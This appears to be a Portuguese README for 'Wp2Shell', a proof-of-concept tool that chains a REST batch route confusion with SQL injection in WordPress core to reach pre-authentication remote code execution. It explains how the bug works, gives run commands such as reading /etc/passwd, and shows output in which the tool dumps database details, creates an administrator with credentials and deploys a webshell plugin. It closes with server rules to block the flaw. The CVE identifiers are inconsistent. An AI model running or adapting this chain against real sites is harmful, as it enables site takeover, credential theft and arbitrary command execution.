
Exploit POC para Wp2Shell, CVE-2026-63030 + CVE-2026-63137
Execução Remota de Código Pré-Autenticação no WordPress Core.
CVE-2026-60137 (Injeção de SQL no WP_Query) encadeada com CVE-2026-63030 (Confusão de Rotas Batch na API REST).
Apenas para fins educacionais e de pesquisa de segurança autorizada.
WordPress 6.9.0 a 6.9.4 e 7.0.0 a 7.0.1 são vulneráveis. Corrigido nas versões 6.9.5 e 7.0.2.
O exploit encadeia duas vulnerabilidades:
CVE-2026-63030 — Confusão de Rotas Batch. O endpoint batch da API REST em /wp-json/batch/v1 (ou /?rest_route=/batch/v1) processa sub-requisições em duas fases: ele corresponde cada caminho a um handler e depois despacha cada requisição por meio do handler correspondido. Quando um caminho deliberadamente malformado (///) é inserido como primeira sub-requisição, o WordPress armazena um WP_Error no índice 0 do array de rotas correspondidas. Isso desloca cada atribuição de handler subsequente em um índice. O loop de despacho então emparelha cada requisição com o handler errado — uma requisição validada contra o Schema A é executada pelo Handler B, contornando a sanitização de parâmetros imposta pelo Schema A.
CVE-2026-60137 — Injeção de SQL no WP_Query. O endpoint de coleção de posts aceita um parâmetro cujo schema impõe valores de array do tipo inteiro, sanitizando cada elemento com antes de chegar ao . A dessincronização do batch faz com que esse parâmetro contorne a validação de schema por completo e chegue à lógica do como uma string bruta. Como só é aplicado dentro de um ramo , a string bruta é interpolada diretamente na cláusula SQL , permitindo injeção via .
author_excludeabsint()WP_Queryauthor__not_inWP_Queryabsint()is_array()WHEREUNION SELECTA cadeia completa ocorre em quatro etapas:
UNION SELECT refletidas na resposta JSON da REST.wp_posts que envenenam o cache oEmbed e acionam o hook de publicação de changeset do WP_Customize_Manager, que chama wp_insert_user() com role=administrator.git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell
Nenhum pip install é necessário.
Executa todas as quatro etapas: confirmação da dessincronização, reconhecimento de SQL, criação de administrador e implantação do webshell. Uma nova conta de administrador e um novo plugin são criados a cada execução.
python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"
Contra um alvo HTTPS com certificado autoassinado:
python3 exploit.py --url https://TARGET --command "id" --insecure
Após a conclusão de uma execução de cadeia completa, o script exibe um comando de reutilização pronto para uso com as credenciais implantadas e o caminho do shell pré-preenchidos. Informe essas três flags nas execuções seguintes para pular completamente as fases de SQL e criação de administrador:
python3 exploit.py \
--url http://TARGET \
--command "whoami" \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password "Wp2!J47LBKLEbu4ebAJo" \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
[--admin-user USER] [--admin-password PASS]
[--prev-webshell-plugin PATH]
| Flag | Short | Descrição |
|---|---|---|
--url | -u | URL base do WordPress alvo. Padrão: http://localhost:8080 |
--command | -c | Comando do sistema operacional a executar. Padrão: id |
--insecure | -k | Desabilita a verificação de certificado TLS para certificados autoassinados |
--admin-user | Modo de reutilização: nome de usuário administrador criado anteriormente | |
--admin-password | Modo de reutilização: senha de administrador criada anteriormente | |
--prev-webshell-plugin | Modo de reutilização: caminho web do plugin webshell já implantado |
As três flags --admin-* / --prev-webshell-plugin devem ser informadas todas juntas ou nenhuma delas.
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : http://localhost:8080
Command: uname -a
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi -- database reconnaissance
[+] Database version : 10.11.18-MariaDB-ubu2204
[+] Database user : wpuser@%
[+] Database name : wordpress
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [96, 97, 98]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_poc_da4d1cf83acb password: Wp2!J47LBKLEbu4ebAJo
[STEP 4] Authenticating + deploying webshell -- running: uname -a
[*] Logging in to wp-admin...
[+] Logged in as administrator
[*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
[+] Plugin uploaded
[*] Activating plugin...
[+] Plugin activated
[*] Executing: uname -a
============================================================
COMMAND OUTPUT -- uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================
[+] RCE confirmed -- Pre-Auth exploit chain complete
+-- RE-USE HINT ------------------------------------------+
| Skip the full chain next time -- pass these flags: |
+-----------------------------------------------------------+
python3 exploit.py \
--url http://localhost:8080 \
--command 'YOUR_COMMAND' \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password 'Wp2!J47LBKLEbu4ebAJo' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
Atualize imediatamente para uma versão corrigida.
wp core updatewp core update --version=6.9.5wp core update --version=6.8.6Se não for possível aplicar o patch imediatamente, bloqueie as duas formas de URL do endpoint batch na camada do servidor web ou WAF. Ambas as rotas devem ser bloqueadas — uma regra que cubra apenas a forma de pretty permalink deixa a forma de query string aberta:
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]
Ou desabilite o endpoint dentro do WordPress usando um plugin must-use:
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );
Trate todos os controles pré-patch apenas como pontes temporárias. Aplique o patch o mais rápido possível e verifique a versão instalada em todas as instâncias expostas à internet em seguida.
Esta ferramenta é fornecida apenas para fins educacionais e testes de penetração autorizados. Executá-la contra qualquer sistema sem permissão prévia explícita por escrito do proprietário do sistema é ilegal. Os autores não aceitam nenhuma responsabilidade por uso indevido.